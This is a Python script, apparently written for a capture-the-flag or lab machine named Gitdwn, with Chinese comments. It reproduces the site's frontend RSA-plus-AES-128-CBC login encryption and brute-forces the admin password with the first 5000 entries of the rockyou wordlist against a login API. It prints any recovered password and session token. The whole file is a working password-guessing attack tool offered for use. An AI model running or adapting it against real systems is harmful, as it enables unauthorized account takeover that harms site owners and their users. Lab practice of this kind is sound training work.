﻿#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Gitdwn 靶机 — 前端加密逆向 + 密码爆破脚本
=============================================
复现 RSA 公钥 + AES-128-CBC 加密流程
从 Rockyou 字典爆破 admin 密码

用法:
    python3 01_login_bruteforce.py [目标IP] [用户] [密码文件]
默认:
    目标: 192.168.1.118
    用户: admin
    密码文件: /usr/share/wordlists/rockyou.txt (前 5000 条)

依赖:
    pip install pycryptodome requests
"""

import sys
import json
import base64
import requests
from Crypto.Cipher import AES, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad

# ============================================================
# 从 login.js 提取的 RSA 公钥
# ============================================================
RSA_PUBLIC_KEY = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAt6l3k43vuI+8ODHhr07q
/fBswyWqv5d0SsoX2+i5rWy98PW58HNrKveU6IDRhWFOmA8MQ0j7zUcH33VGaQNO
ZdI8gmo4pdlABQJ7EM4E6KGYCxlyIi4QtyUorBP6pfS1nlLCyAIcybnpia4kHT/p
MqaIXKMVqDYHGJMNp0LIBkFA0eKp9usd2YStJ0nzgZrJS2t8znbvqXqx8uvBkRpZ
bEZKUc3skgUIumazaw4plE+OzcVAa/67vuD7e7sycVHY+McsphLm+1CjS1jjvBt6
z036X4WJUANNIb4K2yJ8tYREXbxLQ5uwnVb9cwbQKSGg8Tr6GgSkbNjseAgZaUPt
QwIDAQAB
-----END PUBLIC KEY-----"""


def encrypt_login(username, password):
    """
    精确复现 login.js 中的加密流程:
    1. 生成随机 AES-128 Key (16 bytes) 和 IV (16 bytes)
    2. AES-128-CBC + PKCS7 加密 {"username":"...","password":"..."}
    3. RSA PKCS#1 v1.5 加密 AES Key 和 IV (base64 编码后加密)
    返回: {"encryptedData":..., "encryptedKey":..., "encryptedIv":...}
    """
    # Step 1: AES-128 随机密钥和 IV
    aes_key = get_random_bytes(16)
    iv = get_random_bytes(16)

    # Step 2: AES-128-CBC 加密凭据 JSON
    credentials = json.dumps({"username": username, "password": password})
    cipher = AES.new(aes_key, AES.MODE_CBC, iv)
    encrypted = cipher.encrypt(pad(credentials.encode(), AES.block_size))
    encrypted_data_b64 = base64.b64encode(encrypted).decode()

    # Step 3: RSA PKCS#1 v1.5 加密 AES Key 和 IV
    rsa_key = RSA.import_key(RSA_PUBLIC_KEY)
    rsa_cipher = PKCS1_v1_5.new(rsa_key)

    aes_key_b64 = base64.b64encode(aes_key).decode()
    iv_b64 = base64.b64encode(iv).decode()

    encrypted_key = base64.b64encode(
        rsa_cipher.encrypt(aes_key_b64.encode())
    ).decode()
    encrypted_iv = base64.b64encode(
        rsa_cipher.encrypt(iv_b64.encode())
    ).decode()

    return {
        "encryptedData": encrypted_data_b64,
        "encryptedKey": encrypted_key,
        "encryptedIv": encrypted_iv
    }


def main():
    target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.118"
    username = sys.argv[2] if len(sys.argv) > 2 else "admin"
    wordlist_path = sys.argv[3] if len(sys.argv) > 3 else "/usr/share/wordlists/rockyou.txt"

    url = f"http://{target}/api/login.php"
    limit = 5000  # 仅尝试前 5000 条

    print(f"[*] 目标: {url}")
    print(f"[*] 用户: {username}")
    print(f"[*] 字典: {wordlist_path} (前 {limit} 条)")
    print(f"[*] 开始爆破...\n")

    count = 0
    try:
        with open(wordlist_path, "r", encoding="latin-1") as f:
            for line in f:
                if count >= limit:
                    break

                password = line.strip()
                if not password:
                    continue

                count += 1
                payload = encrypt_login(username, password)

                try:
                    r = requests.post(url, json=payload, timeout=5)

                    if '"success":true' in r.text:
                        token = r.json().get("token", "N/A")
                        print(f"\n✅ 爆破成功!")
                        print(f"   用户: {username}")
                        print(f"   密码: {password}")
                        print(f"   Token: {token}")
                        print(f"   尝试次数: {count}")
                        return

                    if count % 500 == 0:
                        print(f"[*] 已尝试 {count} 条... 当前: {password}")

                except requests.RequestException as e:
                    print(f"[!] 请求失败 ({password}): {e}")
                    continue

    except FileNotFoundError:
        print(f"[!] 字典文件不存在: {wordlist_path}")
        sys.exit(1)

    print(f"\n❌ 在前 {count} 条密码中未找到正确凭据")


if __name__ == "__main__":
    main()
